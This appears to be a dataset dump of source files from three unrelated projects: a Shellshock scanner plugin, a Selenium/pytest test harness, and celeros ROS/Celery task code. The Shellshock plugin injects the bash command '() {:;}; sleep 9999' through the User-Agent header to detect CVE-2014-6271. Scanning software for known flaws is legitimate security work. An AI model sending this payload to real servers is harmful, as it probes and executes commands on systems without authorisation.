return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,723 | alex14324/Eagel | refs/heads/main | /plugins/cve-2014-6271.py | from utils.status import *
from .helper import Plugin,utils
class CVE_2014_6271(Plugin):
def __init__(self):
self.name = "Shell Shock - CVE_2014_6271"
self.enable = True
self.description = ""
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def main(self,host):
try:
request = utils.requests.get( utils.uri(host),timeout=120, headers={
'User-agent':'() {:;}; sleep 9999',
})
return Result(FAILED,None,None,None)
except utils.requests.exceptions.Timeout:
return Result(
status = SUCCESS,
msg = "Shellshock executed: ['User-agent':'() {:;}; sleep 9999']",
request = utils.dump_request(request),
response = utils.dump_response(request)
)
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,724 | yomthegrappler/ReviewerTest | refs/heads/master | /Test/test_main.py | import pytest
from Utility.constant import Constant
from Utility.excel_mgmt import ExcelExec
from Utility.module_mapping import DriverMapping
import time
@pytest.mark.usefixtures("setup")
class TestMainExec:
@pytest.fixture(autouse=True)
def initial_setup(self, setup):
self.constant = Constant()
self.excel = ExcelExec()
self.driver_method = DriverMapping(self.driver)
@pytest.mark.run(order=1)
def test_main(self):
#self.execute_test_main()
self.exec_test_main()
def exec_test_main(self):
self.driver_method.execute_keyword(
"navigate",
"https://community.musictribe.com/",
None
)
self.driver_method.execute_keyword(
"click",
None,
"//*[@id='lia-body']/div[2]/center/div[2]/div/div/div/div[2]/div[1]/div/div/div/div[2]/div/div/header/div/div[5]/ul/li[2]/img"
)
self.driver_method.execute_keyword(
"click",
None,
"//*[@id='jsMenuBrand']/div/ul/li[2]/a"
)
current_url_1 = self.driver.current_url
url_expected_1 = "https://www.midasconsoles.com/"
if current_url_1 == url_expected_1:
self.driver_method.execute_keyword(
"click",
None,
"/html/body/main/header/div[1]/div/div[3]/nav/ul/li[2]/a"
)
self.driver_method.execute_keyword(
"click",
None,
"/html/body/main/div[3]/div[3]/div/section/div/div/div[3]/div[1]/div[3]/a/div/h4"
)
current_url_2 = self.driver.current_url
url_expected_2 = "https://music.secure.force.com/SupportForm?brand=midas&rt=ps"
if current_url_2 == url_expected_2:
time.sleep(5)
# def execute_test_main(self):
# test_module_max_row = self.excel.get_row_count(self.constant.Sheetname_Module) + 1
# test_collection_max_row = self.excel.get_row_count(self.constant.Sheetname_Scenario) + 1
#
# for fromTestModuleRow in range(2, test_module_max_row):
#
# test_module_id_val_1 = self.excel.get_cell_data(
# self.constant.Sheetname_Module,
# fromTestModuleRow,
# self.constant.Test_Module_ID_Col_1
# )
#
# test_module_name_val_1 = self.excel.get_cell_data(
# self.constant.Sheetname_Module,
# fromTestModuleRow,
# self.constant.Test_Module_Name_Col_1
# )
#
# run_mode_val_1 = self.excel.get_cell_data(
# self.constant.Sheetname_Module,
# fromTestModuleRow,
# self.constant.Test_Mod_RunMode_Col
# )
#
# if str(run_mode_val_1).upper() == "SKIP":
# continue
#
# if str(run_mode_val_1).upper() == "YES":
# test_module_max_row = self.excel.get_row_count(test_module_name_val_1)
# if test_module_max_row is None or test_module_max_row is False:
# continue
#
# for fromTestCollectionRow in range(2, test_collection_max_row):
# test_module_id_val_2 = self.excel.get_cell_data(
# self.constant.Sheetname_Scenario,
# fromTestCollectionRow,
# self.constant.Test_Module_ID_Col_2
# )
#
# if test_module_id_val_1 == test_module_id_val_2:
# test_module_name_val_2 = self.excel.get_cell_data(
# self.constant.Sheetname_Scenario,
# fromTestCollectionRow,
# self.constant.Test_Module_Name_Col_2
# )
#
# test_case_id_val_1 = self.excel.get_cell_data(
# self.constant.Sheetname_Scenario,
# fromTestCollectionRow,
# self.constant.Test_Case_ID_Col_1
# )
#
# test_case_name_val = self.excel.get_cell_data(
# self.constant.Sheetname_Scenario,
# fromTestCollectionRow,
# self.constant.Test_Case_Name_Col
# )
#
# run_mode_val_2 = self.excel.get_cell_data(
# self.constant.Sheetname_Scenario,
# fromTestModuleRow,
# self.constant.Test_Scen_RunMod_Col
# )
#
# if str(run_mode_val_2).upper() == "SKIP":
# continue
#
# if str(run_mode_val_2).upper() == "YES":
# test_case_id = test_case_id_val_1
#
# for fromTestStepRow in range(2, test_module_max_row + 1):
# test_case_id_val_2 = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Case_ID_Col_2
# )
#
# if test_case_id == test_case_id_val_2:
#
# test_step_id = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_ID_Col
# )
#
# test_step_description = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_Desc_Col
# )
#
# action_keyword = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_ActionKey_Col
# )
#
# step_property = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_Property_Col
# )
#
# nObject = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_Object_Col
# )
#
# nObject_value = self.excel.get_object_value(
# self.constant.Sheetname_Objects,
# nObject
# )
#
# nData_value = self.excel.get_cell_data(
# test_module_name_val_1,
# fromTestStepRow,
# self.constant.Test_Step_Value_Col
# )
#
# stepResult = self.driver_method.execute_keyword(
# action_keyword,
# nData_value,
# nObject_value
# )
| {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,725 | yomthegrappler/ReviewerTest | refs/heads/master | /Utility/excel_mgmt.py | import openpyxl
from Utility.constant import Constant
class ExcelExec:
def __init__(self):
self.constant = Constant()
self.work_book = openpyxl.load_workbook(self.constant.Path_Excel)
def get_sheet_name(self, sheet_name):
sheet = self.work_book[sheet_name]
return sheet
def get_row_count(self, sheet_name):
sheet = self.get_sheet_name(sheet_name)
return sheet.max_row
def get_col_count(self, sheet_name):
sheet = self.get_sheet_name(sheet_name)
return sheet.max_column
def get_cell_data(self, sheet_name, row_count, col_count):
sheet = self.get_sheet_name(sheet_name)
return sheet.cell(row_count, col_count).value
def get_object_value(self, sheet_name, object_name):
row_count = self.get_row_count(sheet_name)
for i in range(1, row_count + 1):
if object_name == "":
break
elif str(object_name) == str(self.get_cell_data(sheet_name, i, self.constant.Page_ObjectName_Col)):
object_value = str(self.get_cell_data(sheet_name, i, self.constant.Identifier))
return object_value
| {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,726 | yomthegrappler/ReviewerTest | refs/heads/master | /Driver/webdriver_factory.py | from selenium import webdriver
from Utility.constant import Constant
class GetWebdriverInstance:
def __init__(self, browser):
self.browser = browser.lower()
self.constant = Constant()
def getbrowserInstance(self):
if self.browser == 'chrome':
driverLocation = self.constant.Path_Chrome_Driver
driver = webdriver.Chrome(executable_path=driverLocation)
driver.maximize_window()
driver.implicitly_wait(5)
driver.delete_all_cookies()
return driver
elif self.browser == 'firefox':
path = self.constant.Path_Firefox_Driver
driver = webdriver.Firefox(executable_path=path)
driver.maximize_window()
driver.implicitly_wait(5)
driver.delete_all_cookies()
return driver
else:
print("Please make sure selected browser is correct") | {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,727 | yomthegrappler/ReviewerTest | refs/heads/master | /Utility/constant.py | class Constant:
Path_Chrome_Driver = "E:\\chromedriver.exe"
Path_Firefox_Driver = "E:\\geckodriver.exe"
Path_Excel = "E:\\ReviewerPytest\\reviewer.xlsx"
Sheetname_Module = "Test Module"
Sheetname_Scenario = "Test Collection"
Sheetname_Objects = "Test Objects"
Test_Module_ID_Col_1 = 1
Test_Module_Name_Col_1 = 2
Test_Mod_RunMode_Col = 3
Test_Module_ID_Col_2 = 1
Test_Module_Name_Col_2 = 2
Test_Case_ID_Col_1 = 3
Test_Case_Name_Col = 4
Test_Scen_RunMod_Col = 5
Test_Case_ID_Col_2 = 1
Test_Step_ID_Col = 2
Test_Step_Desc_Col = 3
Test_Step_ActionKey_Col = 4
Test_Step_Property_Col = 5
Test_Step_Object_Col = 6
Test_Step_Value_Col = 7
Page_ObjectName_Col = 2
Identifier = 3
| {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,728 | yomthegrappler/ReviewerTest | refs/heads/master | /Driver/selenium_webdriver.py | from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
class SeleniumDriver:
def __init__(self, driver):
self.driver = driver
def navigate(self, data):
self.driver.get(data)
return True
def getElement(self, locator):
time.sleep(0.6)
element = WebDriverWait(self.driver, 5).until(EC.presence_of_element_located((By.XPATH, locator)))
return element
def sendKeys(self, data, locator):
try:
self.getElement(locator).clear()
self.getElement(locator).send_keys(data)
return True
except:
return False
def elementClick(self, locator):
try:
self.getElement(locator).click()
return True
except:
return False
| {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,729 | yomthegrappler/ReviewerTest | refs/heads/master | /Utility/module_mapping.py | from Driver.selenium_webdriver import SeleniumDriver
class DriverMapping(SeleniumDriver):
def execute_keyword(self, keyword, value, objectname):
if keyword == 'navigate':
result = None
result = self.navigate(value)
return result
elif keyword == 'input':
result = None
result = self.sendKeys(value, objectname)
return result
elif keyword == "click":
result = None
result = self.elementClick(objectname)
return result
| {"/Test/test_main.py": ["/Utility/constant.py", "/Utility/excel_mgmt.py", "/Utility/module_mapping.py"], "/Utility/excel_mgmt.py": ["/Utility/constant.py"], "/Driver/webdriver_factory.py": ["/Utility/constant.py"], "/Utility/module_mapping.py": ["/Driver/selenium_webdriver.py"]} |
53,944 | asmodehn/celeros | refs/heads/master | /celeros/bootsteps/batterywatcher.py | #!/usr/bin/env python
import sys
import os
import logging
import multiprocessing
import pyros
import kombu
from celery import Celery, bootsteps
from celery.platforms import signals as _signals
from celery.utils.log import get_logger
from celery.utils.functional import maybe_list
_logger = get_logger(__name__)
# TODO : fix logging : http://docs.celeryproject.org/en/latest/userguide/extending.html#installing-bootsteps
# logging is not reentrant, and methods here are called in different ways...
# TODO : configuration for tests...
class BatteryWatcher(bootsteps.StartStopStep):
"""
This is a worker bootstep. It starts a timer to watch for battery levels.
Pyros bootstep is required for this to be able to work.
"""
def __init__(self, consumer, **kwargs):
logging.warn('{0!r} bootstep {1}'.format(consumer, __file__))
self.battery_topic = None
def create(self, consumer):
return self
def start(self, consumer):
# our step is started together with all other Worker/Consumer
# bootsteps.
# TODO : find a simpler / more customizable way of configuring this for any robot
self.battery_topic = consumer.app.conf.CELEROS_BATTERY_TOPIC
if self.battery_topic: # if we care about the battery
# Setting up a timer looping to watch Battery levels
consumer.timer.call_repeatedly(consumer.app.conf.CELEROS_BATTERY_CHECK_PERIOD, self.battery_watcher, args=(consumer,), kwargs={}, priority=0)
else:
_logger.info("CELEROS_BATTERY_TOPIC set to None. BatteryWatcher disabled.")
def battery_watcher(self, consumer):
try:
topic_list = consumer.app.ros_node_client.topics()
if self.battery_topic not in topic_list:
_logger.warn("Topic {battery_topic} not detected. giving up.".format(battery_topic=self.battery_topic))
return
try:
battery_msg = consumer.app.ros_node_client.topic_extract(
self.battery_topic
)
if battery_msg:
# we assume standard sensor message structure here
battpct = battery_msg.get(consumer.app.conf.CELEROS_BATTERY_LEVEL_FIELD, {})
if battpct is None:
_logger.warn("Battery percentage not found in battery message : {0}".format(battery_msg))
else:
_logger.debug("Watching Battery : {0}% ".format(battpct))
# enabling/disabling consumer to queues bound by battery requirements
for bpct, q in maybe_list(consumer.app.conf.CELEROS_MIN_BATTERY_PCT_QUEUE):
if isinstance(q, kombu.Queue):
qname = q.name
else: # assumed str
qname = q
for kq in consumer.app.conf.CELERY_QUEUES:
if kq.name == qname:
# we find a queue with the same name already configured. we should use it.
q = kq
break
# to stop consuming from a queue we only need the queue name
if battpct < bpct and consumer.task_consumer.consuming_from(qname):
_logger.warn("Battery Low {0}%. Ignoring task queue {1} until battery is recharged.".format(battpct, qname))
consumer.cancel_task_queue(qname)
elif not battpct < bpct and not consumer.task_consumer.consuming_from(qname):
# To listen to a queue we might need to create it.
# We should reuse the ones from config if possible
if isinstance(q, kombu.Queue):
consumer.add_task_queue(q)
else: # if we didnt find the queue among the configured queues, we need to create it.
consumer.add_task_queue(
queue=qname,
# it seems consumer is not applying the default from config from here?
exchange=consumer.app.conf.CELERY_DEFAULT_EXCHANGE,
exchange_type=consumer.app.conf.CELERY_DEFAULT_EXCHANGE_TYPE,
rounting_key=consumer.app.conf.CELERY_DEFAULT_ROUTING_KEY,
)
except pyros.PyrosServiceTimeout as exc:
_logger.warn("Failed to get battery levels. giving up.")
return
except pyros.PyrosServiceTimeout as exc:
_logger.warn("Failed to lookup topics. giving up.")
def stop(self, consumer):
# The Consumer will call stop() when the connection is lost
logging.warn('{0!r} stopping {1}'.format(consumer, __file__))
consumer.timer.clear()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,945 | asmodehn/celeros | refs/heads/master | /tests/celeros/testceleros.py | #!/usr/bin/env python
import logging
import unittest
import sys
import os
import time
# Unit test import
try:
import rostest
import rospy
import roslaunch
from std_msgs.msg import String, Empty
from std_srvs.srv import Trigger, TriggerResponse
from pyros_setup import rostest_nose
except ImportError as exc:
import os
import sys
import pyros_setup
pyros_setup = pyros_setup.delayed_import_auto(base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..', '..'))
import rostest
import rospy
import roslaunch
from std_msgs.msg import String, Empty
from std_srvs.srv import Trigger, TriggerResponse
from pyros_setup import rostest_nose
from celeros import celeros_app
from celeros import rostasks
launch = None
worker_process = None
# TODO : maybe we need a config for tests specifically ( instead of using the default )
app = "celeros.app" # OR celeros.celeros_app OR celeros_app ( to match code )??
config = "celeros.config"
# Should be used only by nose ( or other python test tool )
# CAREFUL with comments, copy paste mistake are real...
# CAREFUL dont use assertFalse -> easy to miss when reviewing code
def setup_module():
if not rostest_nose.is_rostest_enabled():
rostest_nose.rostest_nose_setup_module()
# Start roslaunch
global launch
launch = roslaunch.scriptapi.ROSLaunch()
launch.start()
# start required worker - needs to match the content of *.test files for rostest to match
global worker_process
rospy.set_param('/celeros/topics', "['/celeros_test.*/injected','/celeros_test.*/extracted']")
rospy.set_param('/celeros/services', "['/celeros_test.*/called']")
worker_node = roslaunch.core.Node(
'celeros', 'celeros',
name='celeros',
args=" -A " + app +
" --config " + config
)
worker_process = launch.launch(worker_node)
def teardown_module():
if not rostest_nose.is_rostest_enabled():
# finishing all process are finished
if worker_process is not None:
worker_process.stop()
rostest_nose.rostest_nose_teardown_module()
class Timeout(object):
"""
Small useful timeout class
"""
def __init__(self, seconds):
self.seconds = seconds
def __enter__(self):
self.die_after = time.time() + self.seconds
return self
def __exit__(self, type, value, traceback):
pass
@property
def timed_out(self):
return time.time() > self.die_after
class TestCeleros(unittest.TestCase):
@classmethod
def setUpClass(cls):
# we still need a node to interact with topics
rospy.init_node('celeros_test', anonymous=True)
# CAREFUL : this should be done only once per PROCESS
# Here we enforce TEST class 1<->1 PROCESS. ROStest style
# set required parameters - needs to match the content of *.test files for rostest to match
rospy.set_param("~config", config)
@classmethod
def tearDownClass(cls):
rospy.signal_shutdown('test complete')
def _topic(self, data):
print data
self._injected = True
return String(data='got me a message!')
def _service(self, req):
print req
self._called = True
return TriggerResponse(success=True, message='test node called !')
def setUp(self):
config = rospy.get_param('~config')
if config:
rospy.logwarn("GOT TEST CONFIG PARAM {0}".format(config))
celeros_app.config_from_object(config)
def tearDown(self):
# the node will shutdown with the test process.
pass
def test_service_call(self):
# service to be called
self._called = False
self._srv = rospy.Service('~called', Trigger, self._service)
# constant used just to prevent spinning too fast
overspin_sleep_val = 0.02
def prevent_overspin_sleep():
time.sleep(overspin_sleep_val)
# we wait a bit for the service to be discovered
time.sleep(2)
# we send the task to the worker
result = rostasks.service_call.apply_async([rospy.resolve_name('~called')])
# we wait until we get called
with Timeout(60) as t:
while not t.timed_out and not self._called:
prevent_overspin_sleep()
assert not t.timed_out and self._called
def test_topic_inject(self):
self._injected = False
self._sub = rospy.Subscriber('~injected', String, self._topic)
# constant use just to prevent spinning too fast
overspin_sleep_val = 0.02
def prevent_overspin_sleep():
time.sleep(overspin_sleep_val)
# we wait a bit for the service to be discovered
time.sleep(2)
# we send the task to the worker
result = rostasks.topic_inject.apply_async([rospy.resolve_name('~injected'), {'data':'here is a string'}])
# we wait until we get called
with Timeout(60) as t:
while not t.timed_out and not self._injected:
prevent_overspin_sleep()
assert not t.timed_out and self._injected
# def test_topic_extract(self):
#
# self._extracted = False
# self._pub = rospy.Publisher('~extracted', String, queue_size=1)
# pass
if __name__ == '__main__':
print("ARGV : %r", sys.argv)
# Note : Tests should be able to run with nosetests, or rostest ( which will launch nosetest here )
rostest_nose.rostest_or_nose_main('celeros', 'testCeleros', TestCeleros, sys.argv)
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,946 | asmodehn/celeros | refs/heads/master | /celeros/app.py | from __future__ import absolute_import
import time
import datetime
import random
from celery import Celery
from celery.bin import Option
from celery.result import AsyncResult
from .bootsteps import PyrosBoot, BatteryWatcher
# REQUIRED, to have celerybeatredis subpackage loaded by celery beat...
from . import celerybeatredis
import sys
# move that into __init__. It seems celery apps usually follow same package pattern as flask.
celeros_app = Celery()
# BEWARE : https://github.com/celery/celery/issues/3050
# doing this prevent setting config from command line
# from . import config
# celeros_app.config_from_object(config)
# setting up custom bootstep to start ROS node and pass ROS arguments to it
# for worker ( running on robot )
celeros_app.steps['worker'].add(PyrosBoot)
celeros_app.steps['consumer'].add(BatteryWatcher)
celeros_app.user_options['worker'].add(Option('-R', '--ros-arg', action="append", help='Arguments for ros initialisation'))
# and for beat ( running on concert )
celeros_app.user_options['beat'].add(Option('-R', '--ros-arg', action="append", help='Arguments for ros initialisation'))
#############################
# Basic task for simple tests
#############################
from celery.utils.log import get_task_logger
_logger = get_task_logger(__name__)
# These tasks do not require ROS.
# But they are useful to test if basic celery functionality is working.
# How to test in a shell :
# Normal run (to default queue)
# $ celery -b redis://localhost:6379 --config=celeros.config call celeros.app.add_together --args='[4,6]'
# simulated run (to simulated queue)
# $ celery -b redis://localhost:6379 --config=gopher_tasks.config_localhost call celeros.app.add_together --args='[4,6]' --kwargs='{"simulated": true}'
#
@celeros_app.task()
def add_together(a, b, simulated=False):
_logger.info("Sleeping 7s")
time.sleep(7)
_logger.info("Adding %s + %s" % (a, b))
return a + b
# Basic task with feedback for simple tests
@celeros_app.task(bind=True)
def long_task(self, simulated=False):
"""Background task that runs a long function with progress reports."""
verb = ['Starting up', 'Booting', 'Repairing', 'Loading', 'Checking']
adjective = ['master', 'radiant', 'silent', 'harmonic', 'fast']
noun = ['solar array', 'particle reshaper', 'cosmic ray', 'orbiter', 'bit']
message = ''
total = random.randint(10, 50)
for i in range(total):
if not message or random.random() < 0.25:
message = '{0} {1} {2}...'.format(random.choice(verb),
random.choice(adjective),
random.choice(noun))
self.update_state(state='PROGRESS',
meta={'current': i, 'total': total,
'status': message})
time.sleep(1)
return {'current': 100, 'total': 100, 'status': 'Task completed! from celeros package', 'result': 42}
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,947 | asmodehn/celeros | refs/heads/master | /celeros/rostasks.py | import os
import socket
import time
import datetime
from .app import celeros_app
from celery import Task, states
from celery.contrib.abortable import AbortableTask
from celery.utils.log import get_task_logger
_logger = get_task_logger(__name__)
# TODO : fancy task decorators and behaviors for ROS-style tasks
# http://stackoverflow.com/questions/6393879/celery-task-and-customize-decorator
class RosTask(AbortableTask):
abstract = True
def run(self, *args, **kwargs):
"""
:param args: args of the task
:param kwargs: kwargs of the task
:return:
"""
# TODO : investigate dynamic wake up of pyros ?
# TODO : investigate the task specifying which service / topics it needs to access (via decorator) ?
# Would it be better (only using resources when actually needed) ?
# or worse (dynamic everything makes things more fragile) ?
_logger.info("Starting RosTask")
return self.run(*args, **kwargs)
def after_return(self, status, retval, task_id, args, kwargs, einfo):
# exit point of the task whatever is the state
_logger.info("Ending RosTask")
pass
@celeros_app.task(bind=True)
def topic_inject(self, topic_name, _msg_content={}, **kwargs):
_logger.info("Injecting {msg} {kwargs} into {topic}".format(msg=_msg_content, kwargs=kwargs, topic=topic_name))
res = self.app.ros_node_client.topic_inject(topic_name, _msg_content, **kwargs)
_logger.info("Result : {res}".format(res=res))
return res
@celeros_app.task(bind=True)
def topic_extract(self, topic_name):
_logger.info("Extracting from {topic}".format(topic=topic_name))
res = self.app.ros_node_client.topic_extract(topic_name)
_logger.info("Result : {res}".format(res=res))
return res
@celeros_app.task(bind=True)
def service_call(self, service_name, _msg_content={}, **kwargs):
_logger.info("Calling service {service} with {msg} {kwargs}".format(msg=_msg_content, kwargs=kwargs, service=service_name))
res = self.app.ros_node_client.service_call(service_name, _msg_content, **kwargs)
_logger.info("Result : {res}".format(res=res))
return res
# TODO : implement something similar to actions.
# Like actions with topics
# AND with services only
# But without using action lib.
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,948 | asmodehn/celeros | refs/heads/master | /celeros/__init__.py | from __future__ import absolute_import
# This monkey patch celery
from . import customlogger
from .rosperiodictasks import PeriodicTask
from .scheduler import RedisScheduler, RedisScheduleEntry
from .celerybeatredis import DateTimeEncoder, DateTimeDecoder
from .app import celeros_app
from celery.task.control import inspect
__all__ = [
'DateTimeDecoder',
'DateTimeEncoder',
'PeriodicTask',
'RedisScheduler',
'RedisScheduleEntry',
'celeros_app',
'inspect',
]
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,949 | asmodehn/celeros | refs/heads/master | /celeros/customlogger.py | # Ref : http://loose-bits.com/2010/12/celery-logging-with-python-logging.html
# TODO : probably a better solution if we can setup handlers before starting celery worker
# While telling celery not to hijack existing root logger
import logging
import celery.app.log
from celery.app.log import ColorFormatter
from . import config
#
# def _configure_logger(self, logger, logfile, loglevel,
# format, colorize, **kwargs):
# if logger is not None:
# self.setup_handlers(logger, logfile, format,
# colorize, **kwargs)
# if loglevel:
# logger.setLevel(loglevel)
#
